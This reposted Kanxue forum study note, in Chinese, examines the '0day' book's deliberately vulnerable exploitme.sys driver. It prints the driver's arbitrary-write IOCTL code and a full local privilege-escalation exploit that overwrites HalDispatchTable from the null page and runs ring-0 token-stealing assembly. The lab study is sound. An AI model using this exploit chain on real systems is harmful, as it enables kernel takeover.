其他
0day书中内核漏洞exploitme.sys的学习记录
本文为看雪论坛优秀文章
看雪论坛作者ID:1900
一
前言
二
漏洞程序
#include <ntifs.h>
#define DEVICE_NAME L"\\Device\\ExploitMe"
#define DEVICE_LINK L"\\DosDevices\\ExploitMeLink"
#define IOCTRL_BASE 0x800
#define MYIOCTRL_CODE(i) CTL_CODE(FILE_DEVICE_UNKNOWN, IOCTRL_BASE + i, METHOD_NEITHER, FILE_ANY_ACCESS) // 读写方式是其他类型
#define CTL_EXPLOIT_ME MYIOCTRL_CODE(0)
VOID DriverUnload(IN PDRIVER_OBJECT driverObject);
NTSTATUS DispatchCommon(PDEVICE_OBJECT pObj, PIRP pIrp);
NTSTATUS DispatchIoCtrl(PDEVICE_OBJECT pObj, PIRP pIrp);
NTSTATUS DriverEntry(IN PDRIVER_OBJECT driverObject, IN PUNICODE_STRING registryPath)
{
NTSTATUS status = STATUS_SUCCESS;
PDEVICE_OBJECT pDeviceObj = NULL;
UNICODE_STRING uDeviceName = RTL_CONSTANT_STRING(DEVICE_NAME);
UNICODE_STRING uSymbolinkName = RTL_CONSTANT_STRING(DEVICE_LINK);
ULONG i = 0;
// 创建设备
status = IoCreateDevice(driverObject,
NULL,
&uDeviceName,
FILE_DEVICE_UNKNOWN,
FILE_DEVICE_SECURE_OPEN,
FALSE,
&pDeviceObj);
if (!NT_SUCCESS(status))
{
DbgPrint("IoCreateDevice Error 0x%X\r\n", status);
goto exit;
}
// 设置数据交互方式
// pDeviceObj->Flags |= DO_BUFFERED_IO; // 缓冲区方式读写
// pDeviceObj->Flags |= DO_DIRECT_IO; // 直接方式读写
// 创建符号链接
status = IoCreateSymbolicLink(&uSymbolinkName, &uDeviceName);
if (!NT_SUCCESS(status))
{
DbgPrint("IoCreateSymbolicLink Error 0x%X\r\n", status);
goto exit;
}
for (i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++)
{
driverObject->MajorFunction[i] = DispatchCommon;
}
driverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = DispatchIoCtrl;
DbgPrint("驱动加载成功\r\n");
exit:
driverObject->DriverUnload = DriverUnload;
return STATUS_SUCCESS;
}
NTSTATUS DispatchIoCtrl(PDEVICE_OBJECT pObj, PIRP pIrp)
{
NTSTATUS status = STATUS_INVALID_DEVICE_REQUEST;
PIO_STACK_LOCATION pIoStack = NULL;
ULONG uIoControlCode = 0, uInformation = 0, uInputLength = 0, uOutputLength = 0;
PVOID pInputBuffer = NULL, pOutputBuffer = NULL;
// 获取设备栈
pIoStack = IoGetCurrentIrpStackLocation(pIrp);
// 获取输入缓冲区长度与输入缓冲区
uInputLength = pIoStack->Parameters.DeviceIoControl.InputBufferLength;
pInputBuffer = pIoStack->Parameters.DeviceIoControl.Type3InputBuffer;
// 获取输出缓冲区长度与输出缓冲区
uOutputLength = pIoStack->Parameters.DeviceIoControl.OutputBufferLength;
pOutputBuffer = pIrp->UserBuffer;
// 获取控制码
uIoControlCode = pIoStack->Parameters.DeviceIoControl.IoControlCode;
// 根据控制码执行操作
switch(uIoControlCode)
{
case CTL_EXPLOIT_ME:
{
DbgPrint("CTL_EXPLOIT_ME");
if (uInputLength >= 4 && uOutputLength >= 4)
{
// 将输入地址中的内容赋值到输出地址中
*(PULONG)pOutputBuffer = *(PULONG)pInputBuffer;
uInformation = sizeof(ULONG);
status = STATUS_SUCCESS;
}
break;
}
default:
{
break;
}
}
pIrp->IoStatus.Information = uInformation;
pIrp->IoStatus.Status = status;
IoCompleteRequest(pIrp, IO_NO_INCREMENT);
return STATUS_SUCCESS;
}
NTSTATUS DispatchCommon(PDEVICE_OBJECT pObj, PIRP pIrp)
{
pIrp->IoStatus.Status = STATUS_SUCCESS;
pIrp->IoStatus.Information = 0;
IoCompleteRequest(pIrp, IO_NO_INCREMENT);
return STATUS_SUCCESS;
}
VOID DriverUnload(IN PDRIVER_OBJECT driverObject)
{
UNICODE_STRING uSymbolLinkName = RTL_CONSTANT_STRING(DEVICE_LINK);
if (driverObject->DeviceObject)
{
IoDeleteSymbolicLink(&uSymbolLinkName);
IoDeleteDevice(driverObject->DeviceObject);
}
DbgPrint("驱动卸载完成\r\n");
}
#include <cstdio>
#include <cstdlib>
#include <windows.h>
#define LINK_NAME "\\\\.\\ExploitMeLink"
#define IOCTRL_BASE 0x800
#define MYIOCTRL_CODE(i) CTL_CODE(FILE_DEVICE_UNKNOWN, IOCTRL_BASE + i, METHOD_NEITHER, FILE_ANY_ACCESS) // 读写方式是其他类型
#define CTL_EXPLOIT_ME MYIOCTRL_CODE(0)
#define INPUT_BUFFER_LENGTH 4
#define OUT_BUFFER_LENGTH 4
void ShowError(PCHAR msg);
int main()
{
HANDLE hDevice = NULL;
DWORD dwInput = 1900;
DWORD dwOutput = 0;
DWORD dwReturnLength = 0;
hDevice = CreateFile(LINK_NAME,
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
0);
if (hDevice == INVALID_HANDLE_VALUE)
{
ShowError("CreateFile");
goto exit;
}
printf("修改前的dwOutput:%d\n", dwOutput);
if (!DeviceIoControl(hDevice,
CTL_EXPLOIT_ME,
&dwInput,
INPUT_BUFFER_LENGTH,
&dwOutput,
OUT_BUFFER_LENGTH,
&dwReturnLength,
NULL))
{
ShowError("DeviceIoControl");
goto exit;
}
printf("修改后的dwOutput:%d\n", dwOutput);
exit:
system("pause");
return 0;
}
void ShowError(PCHAR msg)
{
printf("%s Error %d\n", msg, GetLastError());
}
三
漏洞利用
1、在0地址申请内存,并写入要执行的指令
NTSTATUS
NtAllocateVirtualMemory(
__in HANDLE ProcessHandle,
__inout PVOID *BaseAddress,
__in ULONG_PTR ZeroBits,
__inout PSIZE_T RegionSize,
__in ULONG AllocationType,
__in ULONG Protect );
2、找到函数HalQuerySystemInformation函数地址的保存地址
typedef struct {
ULONG Version;
pHalQuerySystemInformation HalQuerySystemInformation;
pHalSetSystemInformation HalSetSystemInformation;
pHalQueryBusSlots HalQueryBusSlots;
ULONG Spare1;
pHalExamineMBR HalExamineMBR;
pHalIoReadPartitionTable HalIoReadPartitionTable;
pHalIoSetPartitionInformation HalIoSetPartitionInformation;
pHalIoWritePartitionTable HalIoWritePartitionTable;
pHalHandlerForBus HalReferenceHandlerForBus;
pHalReferenceBusHandler HalReferenceBusHandler;
pHalReferenceBusHandler HalDereferenceBusHandler;
pHalInitPnpDriver HalInitPnpDriver;
pHalInitPowerManagement HalInitPowerManagement;
pHalGetDmaAdapter HalGetDmaAdapter;
pHalGetInterruptTranslator HalGetInterruptTranslator;
pHalStartMirroring HalStartMirroring;
pHalEndMirroring HalEndMirroring;
pHalMirrorPhysicalMemory HalMirrorPhysicalMemory;
pHalEndOfBoot HalEndOfBoot;
pHalMirrorVerify HalMirrorVerify;
pHalGetAcpiTable HalGetCachedAcpiTable;
pHalSetPciErrorHandlerCallback HalSetPciErrorHandlerCallback;
#if defined(_IA64_)
pHalGetErrorCapList HalGetErrorCapList;
pHalInjectError HalInjectError;
#endif
} HAL_DISPATCH, *PHAL_DISPATCH;
NTSTATUS WINAPI ZwQuerySystemInformation(
__in SYSTEM_INFORMATION_CLASS SystemInformationClass,
__inout PVOID SystemInformation,
__in ULONG SystemInformationLength,
__out_opt PULONG ReturnLength);
typedef enum _SYSTEM_INFORMATION_CLASS {
SystemInformationClassMin = 0,
SystemBasicInformation = 0,
SystemProcessInformation = 5,
SystemProcessesAndThreadsInformation = 5,
SystemModuleInformation = 11,
SystemExceptionInformation = 33,
SystemKernelDebuggerInformation = 35,
} SYSTEM_INFORMATION_CLASS;
typedef struct _SYSTEM_MODULE_INFORMATION_ENTRY {
ULONG Unknown1;
ULONG Unknown2;
PVOID Base;
ULONG Size;
ULONG Flags;
USHORT Index;
/* Length of module name not including the path, this
field contains valid value only for NTOSKRNL module */
USHORT NameLength;
USHORT LoadCount;
USHORT PathLength;
CHAR ImageName[256];
} SYSTEM_MODULE_INFORMATION_ENTRY, *PSYSTEM_MODULE_INFORMATION_ENTRY;
typedef struct _SYSTEM_MODULE_INFORMATION {
ULONG Count;
SYSTEM_MODULE_INFORMATION_ENTRY Module[1];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
#define IMP_SYSCALL __declspec(dllimport) NTSTATUS __stdcall
IMP_SYSCALL
LdrLoadDll(IN PWSTR DllPath OPTIONAL,
IN PULONG DllCharacteristics OPTIONAL,
IN PUNICODE_STRING DllName,
OUT PVOID *DllHandle);
3、调用HalQuerySystemInformation函数
四
ShellCode的提权原理
kd> dt _KPCR
nt!_KPCR
+0x000 NtTib : _NT_TIB
+0x01c SelfPcr : Ptr32 _KPCR
+0x020 Prcb : Ptr32 _KPRCB
+0x024 Irql : UChar
+0x028 IRR : Uint4B
+0x02c IrrActive : Uint4B
+0x030 IDR : Uint4B
+0x034 KdVersionBlock : Ptr32 Void
+0x038 IDT : Ptr32 _KIDTENTRY
+0x03c GDT : Ptr32 _KGDTENTRY
+0x040 TSS : Ptr32 _KTSS
+0x044 MajorVersion : Uint2B
+0x046 MinorVersion : Uint2B
+0x048 SetMember : Uint4B
+0x04c StallScaleFactor : Uint4B
+0x050 DebugActive : UChar
+0x051 Number : UChar
+0x052 Spare0 : UChar
+0x053 SecondLevelCacheAssociativity : UChar
+0x054 VdmAlert : Uint4B
+0x058 KernelReserved : [14] Uint4B
+0x090 SecondLevelCacheSize : Uint4B
+0x094 HalReserved : [16] Uint4B
+0x0d4 InterruptMode : Uint4B
+0x0d8 Spare1 : UChar
+0x0dc KernelReserved2 : [17] Uint4B
+0x120 PrcbData : _KPRCB
kd> dt _KPRCB
ntdll!_KPRCB
+0x000 MinorVersion : Uint2B
+0x002 MajorVersion : Uint2B
+0x004 CurrentThread : Ptr32 _KTHREAD
+0x008 NextThread : Ptr32 _KTHREAD
+0x00c IdleThread : Ptr32 _KTHREAD
+0x010 Number : Char
kd> dt _ETHREAD
ntdll!_ETHREAD
+0x000 Tcb : _KTHREAD
+0x1c0 CreateTime : _LARGE_INTEGER
+0x1c0 NestedFaultCount : Pos 0, 2 Bits
+0x1c0 ApcNeeded : Pos 2, 1 Bit
+0x1c8 ExitTime : _LARGE_INTEGER
+0x1c8 LpcReplyChain : _LIST_ENTRY
+0x1c8 KeyedWaitChain : _LIST_ENTRY
+0x1d0 ExitStatus : Int4B
+0x1d0 OfsChain : Ptr32 Void
+0x1d4 PostBlockList : _LIST_ENTRY
+0x1dc TerminationPort : Ptr32 _TERMINATION_PORT
+0x1dc ReaperLink : Ptr32 _ETHREAD
+0x1dc KeyedWaitValue : Ptr32 Void
+0x1e0 ActiveTimerListLock : Uint4B
+0x1e4 ActiveTimerListHead : _LIST_ENTRY
+0x1ec Cid : _CLIENT_ID
+0x1f4 LpcReplySemaphore : _KSEMAPHORE
+0x1f4 KeyedWaitSemaphore : _KSEMAPHORE
+0x208 LpcReplyMessage : Ptr32 Void
+0x208 LpcWaitingOnPort : Ptr32 Void
+0x20c ImpersonationInfo : Ptr32 _PS_IMPERSONATION_INFORMATION
+0x210 IrpList : _LIST_ENTRY
+0x218 TopLevelIrp : Uint4B
+0x21c DeviceToVerify : Ptr32 _DEVICE_OBJECT
+0x220 ThreadsProcess : Ptr32 _EPROCESS
+0x224 StartAddress : Ptr32 Void
+0x228 Win32StartAddress : Ptr32 Void
kd> dt _EPROCESS
ntdll!_EPROCESS
+0x000 Pcb : _KPROCESS
+0x06c ProcessLock : _EX_PUSH_LOCK
+0x070 CreateTime : _LARGE_INTEGER
+0x078 ExitTime : _LARGE_INTEGER
+0x080 RundownProtect : _EX_RUNDOWN_REF
+0x084 UniqueProcessId : Ptr32 Void
+0x088 ActiveProcessLinks : _LIST_ENTRY
+0x090 QuotaUsage : [3] Uint4B
+0x09c QuotaPeak : [3] Uint4B
+0x0a8 CommitCharge : Uint4B
+0x0ac PeakVirtualSize : Uint4B
+0x0b0 VirtualSize : Uint4B
+0x0b4 SessionProcessLinks : _LIST_ENTRY
+0x0bc DebugPort : Ptr32 Void
+0x0c0 ExceptionPort : Ptr32 Void
+0x0c4 ObjectTable : Ptr32 _HANDLE_TABLE
+0x0c8 Token : _EX_FAST_REF
+0x0cc WorkingSetLock : _FAST_MUTEX
// exploit.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//
#include <cstdio>
#include <cstdlib>
#include <windows.h>
#include "ntapi.h"
#pragma comment(linker, "/defaultlib:ntdll.lib")
#define LINK_NAME "\\\\.\\ExploitMeLink"
#define IOCTRL_BASE 0x800
#define MYIOCTRL_CODE(i) CTL_CODE(FILE_DEVICE_UNKNOWN, IOCTRL_BASE + i, METHOD_NEITHER, FILE_ANY_ACCESS) // 读写方式是其他类型
#define CTL_EXPLOIT_ME MYIOCTRL_CODE(0)
#define INPUT_BUFFER_LENGTH 4
#define OUT_BUFFER_LENGTH 4
#define PAGE_SIZE 0x1000
#define KERNEL_NAME_LENGTH 0X0D
void ShowError(PCHAR msg, NTSTATUS status);
NTSTATUS Ring0ShellCode(ULONG InformationClass, ULONG BufferSize, PVOID Buffer, PULONG ReturnedLength);
BOOL g_bIsExecute = FALSE;
int main()
{
NTSTATUS status = STATUS_SUCCESS;
HANDLE hDevice = NULL;
DWORD dwReturnLength = 0, ShellCodeSize = PAGE_SIZE;
PVOID ShellCodeAddress = NULL;
PSYSTEM_MODULE_INFORMATION pModuleInformation = NULL;
DWORD dwImageBase = 0;
PVOID pMappedBase = NULL;
UCHAR szImageName[KERNEL_NAME_LENGTH] = { 0 };
UNICODE_STRING uDllName;
PVOID pHalDispatchTable = NULL, pXHalQuerySystemInformation = NULL;
DWORD dwDllCharacteristics = DONT_RESOLVE_DLL_REFERENCES;
// 获得0地址的内存
ShellCodeAddress = (PVOID)sizeof(ULONG);
status = NtAllocateVirtualMemory(NtCurrentProcess(),
&ShellCodeAddress,
0,
&ShellCodeSize,
MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN,
PAGE_EXECUTE_READWRITE);
if (!NT_SUCCESS(status))
{
printf("NtAllocateVirtualMemory Error 0x%X\n", status);
goto exit;
}
// 将ShellCode写到申请的0地址空间中
RtlMoveMemory(ShellCodeAddress, (PVOID)Ring0ShellCode, ShellCodeSize);
// 此时dwReturnLength是0,所以函数会由于长度为0执行失败
// 然后系统会在第四个参数指定的地址保存需要的内存大小
status = ZwQuerySystemInformation(SystemModuleInformation,
pModuleInformation,
dwReturnLength,
&dwReturnLength);
if (status != STATUS_INFO_LENGTH_MISMATCH)
{
ShowError("ZwQuerySystemInformation", status);
goto exit;
}
// 按页大小对齐
dwReturnLength = (dwReturnLength & 0xFFFFF000) + PAGE_SIZE * sizeof(ULONG);
pModuleInformation = (PSYSTEM_MODULE_INFORMATION)VirtualAlloc(NULL,
dwReturnLength,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE);
if (!pModuleInformation)
{
printf("VirtualAlloc Error");
goto exit;
}
status = ZwQuerySystemInformation(SystemModuleInformation,
pModuleInformation,
dwReturnLength,
&dwReturnLength);
if (!NT_SUCCESS(status))
{
ShowError("ZwQuerySystemInformation", status);
goto exit;
}
// 模块加载的基地址
dwImageBase = (DWORD)(pModuleInformation->Module[0].Base);
// 获取模块名
RtlMoveMemory(szImageName,
(PVOID)(pModuleInformation->Module[0].ImageName + pModuleInformation->Module[0].PathLength),
KERNEL_NAME_LENGTH);
// 转换为UNICODE_STRING类型
RtlCreateUnicodeStringFromAsciiz(&uDllName, (PUCHAR)szImageName);
status = (NTSTATUS)LdrLoadDll(NULL,
&dwDllCharacteristics,
&uDllName,
&pMappedBase);
if (!NT_SUCCESS(status))
{
ShowError("LdrLoadDll", status);
goto exit;
}
// 获取内核HalDispatchTable函数表地址
pHalDispatchTable = GetProcAddress((HMODULE)pMappedBase, "HalDispatchTable");
if (pHalDispatchTable == NULL)
{
printf("GetProcAddress Error\n");
goto exit;
}
pHalDispatchTable = (PVOID)((DWORD)pHalDispatchTable - (DWORD)pMappedBase + dwImageBase);
pXHalQuerySystemInformation = (PVOID)((DWORD)pHalDispatchTable + sizeof(ULONG));
// 打开驱动设备
hDevice = CreateFile(LINK_NAME,
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
0);
if (hDevice == INVALID_HANDLE_VALUE)
{
printf("CreateFile Error");
goto exit;
}
DWORD dwInput = 0;
// 与驱动设备进行交互
if (!DeviceIoControl(hDevice,
CTL_EXPLOIT_ME,
&dwInput,
INPUT_BUFFER_LENGTH,
pXHalQuerySystemInformation,
OUT_BUFFER_LENGTH,
&dwReturnLength,
NULL))
{
printf("DeviceIoControl Error");
goto exit;
}
status = NtQueryIntervalProfile(ProfileTotalIssues, NULL);
if (!NT_SUCCESS(status))
{
ShowError("NtQueryIntervalProfile", status);
goto exit;
}
if (g_bIsExecute) printf("Ring0 代码执行完成\n");
exit:
if (pModuleInformation) VirtualFree(pModuleInformation, dwReturnLength, MEM_DECOMMIT | MEM_RELEASE);
if (hDevice) NtClose(hDevice);
if (pMappedBase) LdrUnloadDll(pMappedBase);
system("pause");
return 0;
}
NTSTATUS Ring0ShellCode(ULONG InformationClass, ULONG BufferSize, PVOID Buffer, PULONG ReturnedLength)
{
// 关闭页保护
__asm
{
cli
mov eax, cr0
and eax, ~0x10000
mov cr0, eax
}
__asm
{
// 取当前线程
mov eax, 0xFFDFF124
mov eax, [eax]
// 取线程对应的EPROCESS
mov esi, [eax + 0x220]
mov eax, esi
searchXp:
mov eax, [eax + 0x88]
sub eax, 0x88
mov edx, [eax + 0x84]
cmp edx, 0x4
jne searchXp
mov eax, [eax + 0xC8]
mov [esi + 0xC8], eax
}
// 开起页保护
__asm
{
mov eax, cr0
or eax, 0x10000
mov cr0, eax
sti
}
g_bIsExecute = TRUE;
}
void ShowError(PCHAR msg, NTSTATUS status)
{
printf("%s Error 0x%X\n", msg, status);
}
五
运行结果
看雪ID:1900
https://bbs.pediy.com/user-home-835440.htm
# 往期推荐
球分享
球点赞
球在看
点击“阅读原文”,了解更多!